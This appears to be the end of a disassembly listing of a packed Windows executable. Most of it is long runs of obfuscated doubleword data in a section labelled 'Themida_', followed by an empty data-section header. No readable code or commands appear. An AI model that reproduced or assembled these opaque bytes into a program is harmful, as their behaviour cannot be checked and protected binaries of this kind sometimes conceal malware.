dd 5852615Ch, 138F0Fh, 0EE90000h, 48000000h, 0A7348F61h
dd 0DBFD6126h, 0F0450C55h, 76C681FCh, 8B7977F7h, 0C78166CEh
dd 0FA8BFEBFh, 0B830Fh, 6E90000h, 0ED000000h, 8B8A5E14h
dd 66605269h, 8166D18Bh, 6139DEE2h, 95DB815Bh, 8A6B1B0Ch
dd 10E8F9DEh, 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h
dd 81EA8B5Dh, 0CC108EE7h, 0FF95873h, 482h, 0F9BE6600h
dd 0AE860AAh, 0C9000000h, 0FA37854Ah, 0C7228A2Fh, 0B7BB66C9h
dd 0D18B593Dh, 0B0F98B61h, 0C78B665Bh, 9E4A67B8h, 13DF8054h
dd 0D9C78166h, 92B9609Fh, 664E8777h, 24CE881h, 0B70F6061h
dd 806061C1h, 0AE9FEE2h, 0B7000000h, 5089632Bh, 7ACA0672h
dd 55B46195h, 14E8h, 4C48CE00h, 0E47AD3F1h, 0FE421FCCh
dd 80A4676Ah, 92C7B509h, 6E837h, 370F0000h, 0B8CA0C84h
dd 6E8h, 0AFBDBC00h, 5F12C484h, 830F5F5Fh, 3, 0FD78B66h
dd 181h, 0C9B5F800h, 0CE8h, 5638E700h, 0BCBDE331h, 127D40E9h
dd 5AC38BD6h, 6EBBBDBFh, 0BF0F5158h, 8D0F5EC0h, 18h, 10E8h
dd 1321DF00h, 59B84EFCh, 6AAEE5BCh, 0D6BEAFF7h, 5E61603Eh
dd 58B0Fh, 0AABE0000h, 6664CF79h, 2097E381h, 0BECE6CBAh
dd 9E92Ch, 7F190000h, 0FE9B3852h, 52D65A81h, 0F5FF0B3h
dd 0FE8DFB7h, 9E000000h, 4C3C8B8Fh, 1A456A5h, 17A91476h
dd 8B0F0FFAh, 3, 58FA8B66h, 831EFBAh, 47BF663Bh, 14E943h
dd 68D30000h, 1103C687h, 42F21711h, 6CB58C53h, 0A8E42640h
dd 0E8607ED9h, 0Dh, 948E3B6Bh, 0E8942D33h, 93C8D201h, 11E9EBh
dd 49F20000h, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h, 5E19E9D7h
dd 0F3816650h, 61597B0Fh, 0BF0F15B2h, 0BE960CEh, 0A2000000h
dd 6646C19Ah, 82277779h, 61F8589Dh, 0DE9CE8Ah, 14000000h
dd 0A06B20Bh, 8F75F034h, 0FE13FBF8h, 60C78B66h, 7E9h, 0F2FF2200h
dd 0C913DCFAh, 0D216F181h, 0F613833h, 168Dh, 108C0F00h
dd 0E8000000h, 0Ah, 9DD38275h, 7A55113Fh, 605E2416h, 0EE68BA66h
dd 0BDDF8166h, 5F536107h, 7DF38166h, 3840FCFh, 66000000h
dd 0E950D88Bh, 13h, 0BB7CCFAAh, 0FACEA1FEh, 6B5D8F80h
dd 0F210FABEh, 5A625AF5h, 9E9h, 0C4F2D900h, 0AF493370h
dd 8F0F0090h, 5, 21EB3FBAh, 0E4DE8173h, 0F85E4B1Fh, 0BE9h
dd 0C2E75100h, 938E40C4h, 8AA06A51h, 0C1C98166h, 0DE9F548h
dd 80000000h, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 5E9h, 0C2ED8F00h
dd 6E96A82h, 3F000000h, 3BB0FE5h, 0E9DE8A74h, 11h, 5C64ACA0h
dd 0DFB9962Bh, 55BE4C9Fh, 0C0392031h, 0E857B27Fh, 7, 65EE01ECh
dd 6091FD87h, 8C0Fh, 14E80000h, 0BB000000h, 20EC0373h
dd 4D9DA96Ah, 3A0D05DBh, 0D3178887h, 5FC789C0h, 0C7815861h
dd 3F5FF027h, 50C88B66h, 0DE8h, 0C373FB00h, 108F1D3Ah
dd 0F12BFD71h, 8B6608F0h, 815A58C8h, 7A9393E6h, 0BFBA660Dh
dd 0CE935h, 88190000h, 9A632649h, 37B4DE58h, 0B70FBA13h
dd 0EBB866DAh, 0C18B66F0h, 0FE9h, 9DA77100h, 898CE7ABh
dd 77C18D2Bh, 0F8AA31FFh, 3820Fh, 0B70F0000h, 8E8D1h, 31250000h
dd 0EBEB1290h, 0B866D242h, 0B05E2BD4h, 5E8FC69h, 5B000000h
dd 51B2CCA9h, 820Fh, 8A5B0000h, 0E78A50D4h, 8C0F5Fh, 81000000h
dd 0DD2F85D8h, 5E9FC58h, 6D000000h, 282E00FCh, 0EFB2E881h
dd 80B024F6h, 0BF08166h, 0EB816642h, 80F84DCCh, 850FECE8h
dd 4, 71F7BB66h, 3890Fh, 0B70F0000h, 6686B3C8h, 0D180C18Bh
dd 63D2818Dh, 606094F1h, 7E9h, 731B5100h, 32AD07E3h, 860Fh
dd 66610000h, 0D3B4D88Bh, 0DE8B6660h, 61F28B66h, 0CE9FCh
dd 80A40000h, 92C7B509h, 70C3B137h, 81662938h, 6682C7D8h
dd 0BFDD6CB9h, 72E91FA1h, 0EE9h, 0DA012000h, 67EF0785h
dd 0A05AC353h, 0E986DEDAh, 10h, 7B62B963h, 0C54A094Fh
dd 0FEEB1710h, 0FAA8AF51h, 0FE96060h, 7000000h, 0AA0AF49Ah
dd 0CFFAD7A3h, 56BFCE4Ch, 0E861E83Eh, 0Ch, 86984107h, 955E3966h
dd 7BB7B5F9h, 0F606158h, 283h, 6181B100h, 5E9h, 2DB2D000h
dd 7E816BDh, 38000000h, 65E419EBh, 0B1B27655h, 6800F5Bh
dd 81000000h, 30C597CEh, 0F56F50Bh, 585h, 0F00FB900h, 665F60F8h
dd 8F0FC28Bh, 4, 0E81EBA66h, 0CDEF8166h, 9E9EDh, 13460000h
dd 772B0B9Bh, 0FC2CEB9h, 80h, 0FE8B6600h, 0BB666060h, 0D08B3B23h
dd 1E61B861h, 0F8612AE5h, 5860Fh, 81660000h, 80643AC9h
dd 0A8B7FFD2h, 444BB966h, 8820Fh, 890F0000h, 2, 8166CE8Ah
dd 667CABDFh, 0B70FCB8Bh, 9E9F7h, 8770000h, 0AD56BCD4h
dd 52B583CBh, 4B203EBFh, 9E95879h, 42000000h, 0A2DBD4E5h
dd 4BF8C7Dh, 4820Fh, 0BF660000h, 0B86629D3h, 0F509663h
dd 385h, 0C68B6600h, 0FE9525Bh, 0C2000000h, 6BDCB239h
dd 0D3C5DF3Fh, 0EA5EF4CEh, 8B5B9416h, 0E08166C8h, 9E96A7Eh
dd 0A000000h, 0EE76CB6Ah, 9B0E9CCh, 0F920EBBEh, 6CC8BB39h
dd 8E952FAh, 6A000000h, 0FC3BE15Ah, 0BED8BCD6h, 2DD881F4h
dd 0F961FC60h, 0DDD1EF81h, 0F53397Dh, 8B5FFFBFh, 0F1F1BACBh
dd 816649D3h, 52385DF3h, 5E8h, 0B7B32800h, 800FBA99h, 0
dd 8B60595Fh, 0F18B66C7h, 4FF18161h, 667E0A06h, 14E9D78Bh
dd 0B5000000h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h
dd 0F935C8B4h, 0BF66E1B7h, 0D88B93ADh, 8B66F88Bh, 81BFB4DEh
dd 0B26C27C6h, 0A3BF662Bh, 8E0F49h, 0E8000000h, 10h, 0E73D4E3Bh
dd 840C5EBEh, 0E1AD2443h, 77AA8684h, 5F72C880h, 0FE960h
dd 880B0000h, 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 61EAB1B8h
dd 8E9h, 0FF958C00h, 0FD90E28Fh, 6657F974h, 0F59FB8Bh
dd 850FF7B7h, 0
dd 5039DB80h, 0FFC98166h, 0F605B0Fh, 0EF81F7B7h, 0E3C7BDBh
dd 0F53F561h, 665BCAB7h, 0BE66FE8Bh, 61B72EB7h, 7E1FC781h
dd 0BE663FFFh, 8166D73Eh, 665CD8D6h, 14D4D981h, 8B2EF780h
dd 0BEA7B7F8h, 1514A86Bh, 2A48BF66h, 0D68BDE8Ah, 0EB80F860h
dd 0F08161E7h, 0EA0700Ah, 8D0Fh, 0B8660000h, 0AE9B176h
dd 90000000h, 0CD28FAA6h, 0C261A569h, 11E9606Eh, 0FC000000h
dd 33CAA931h, 0B350708Bh, 46E21DFFh, 80DA7AC1h, 0D820Fh
dd 8E90000h, 1D000000h, 0DCE9900Eh, 619C2668h, 387EC881h
dd 870F32B5h, 16h, 8E860h, 0B7400000h, 0D1FF579Ch, 815F94E8h
dd 84B29AEAh, 0E9F56153h, 7, 0DF3F6BDCh, 0E9CED3C5h, 8
dd 0D6E8533Eh, 7771AA30h, 0F4BFEFBBh, 60CA8A71h, 0A1D88166h
dd 75B9612Dh, 566A4CBCh, 5AC18B56h, 66F0B15Fh, 14E9C78Bh
dd 18000000h, 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h
dd 0F8F65BF7h, 11E952h, 9A870000h, 935FFB74h, 204F1C50h
dd 0E24A9477h, 5E144C7Dh, 0B2465CBBh, 0D98B667Eh, 0CE9F5h
dd 0FF020000h, 0ABD99F92h, 0E935D583h, 0DA812C8Fh, 295F8985h
dd 5350B966h, 17DEBE66h, 653FDE81h, 0BB667568h, 80602BE9h
dd 0B70F97E7h, 9CBF61CEh, 605990E8h, 60C18B66h, 9E8h, 0FEFB7500h
dd 7107B7E1h, 0F5FB8AAh, 8Ah, 8B616100h, 2860FFEh, 8B000000h
dd 820F60DFh, 3, 61F9B70Fh, 0F5EF080h, 28Ch, 52C68A00h
dd 2880Fh, 0B60000h, 876AB85Bh, 0C1815B58h, 49ACE616h
dd 0E870Fh, 9E90000h, 0FD000000h, 5F634140h, 26A6044Bh
dd 0D28060F8h, 61C28B1Ah, 23F1F381h, 0ED80122Ah, 3559BA62h
dd 61BA0593h, 0E87CD98Dh, 7, 0EEE5FC40h, 8B68AA81h, 0C0805FFBh
dd 0FD5B232h, 8160D8B7h, 37872BD8h, 6133BA30h, 66613849h
dd 0BF0FF18Bh, 75CA81DAh, 0F7CEADCh, 1080h, 0BE900h, 28A70000h
dd 4704CAD0h, 3E50B9Dh, 8A0F60FEh, 2, 0BF0FF28Bh, 12E961DAh
dd 0D8000000h, 0EAA2D60Ah, 0BED1DDE2h, 7A65A380h, 0A37A3086h
dd 8C0FA7h, 0BF000000h, 7859C1ADh, 0E9DA8B66h, 9, 8722CA5Eh
dd 1ACAA660h, 0B6E080AAh, 7368D881h, 9B9724Bh, 8B748074h
dd 11E9D9h, 9940000h, 6C6D0051h, 5359918h, 0F1E276E7h
dd 0E8DCA3E9h, 12h, 2627DB77h, 36CDCFE1h, 0A8FF9800h, 50EBE16Ah
dd 605E7064h, 0B616C5B8h, 2800F36h, 8B000000h, 890F61F1h
dd 13h, 0EE9h, 0A3BA6B00h, 0AB210767h, 6B377C6Bh, 0F381B88h
dd 168Bh, 11E900h, 7CC0000h, 0FDFA98Ch, 0D2FA7095h, 5009B593h
dd 0FA035F2h, 380h, 0C1E88000h, 0E97CCF80h, 14h, 7DD447A5h
dd 94C747DEh, 9CF4541Ah, 7FC4CFE2h, 8EDB4017h, 0AE9C0B6h
dd 39000000h, 0A61C1973h, 0E8B0024Eh, 0D281668Dh, 0E852FDACh
dd 8, 871434CEh, 67ED52F2h, 1B4EB966h, 0C28B5A5Fh, 0EE8166F5h
dd 0BE91FA5h, 59000000h, 0C3E4CF82h, 7D7CB9B5h, 8C0FAEF6h
dd 0
dd 58B0Fh, 81660000h, 66FCC7F2h, 0BA06F381h, 0DDAAB966h
dd 5FBF5BB7h, 0E8101823h, 0Ch, 584A4A6Ch, 0D352302Eh, 730D342Dh
dd 665E2CB4h, 2E3CC081h, 5860Fh, 7EBB0000h, 0F4236A6h
dd 0F98BDFBFh, 81C2BF0Fh, 0C91A7BE8h, 0DAB70F1Eh, 0FCB8B66h
dd 0E80h, 9E900h, 0DC970000h, 7ED5C25Eh, 0BA925A45h, 0D863E46h
dd 180h dup(2E338200h), 68338200h, 253h dup(6862C6D9h)
dd 0D326A1D9h, 60h dup(0D326A8B7h), 54ADA8B7h, 2C9h dup(54ADCFAFh)
dd 0D17F46D7h, 0AEh dup(0D17F46D6h), 89631AD6h, 13Fh dup(8963193Dh)
dd 39FD193Dh, 0C6h dup(39FD945Ah), 0DAFD945Ah, 2ABh dup(0DBBD1181h)
dd 0CCCC1181h, 79Eh dup(0CCCCCCCCh), 3B8h dup(0)
Themida_ ends
; Section 5. (virtual address 001E0000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5E0000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start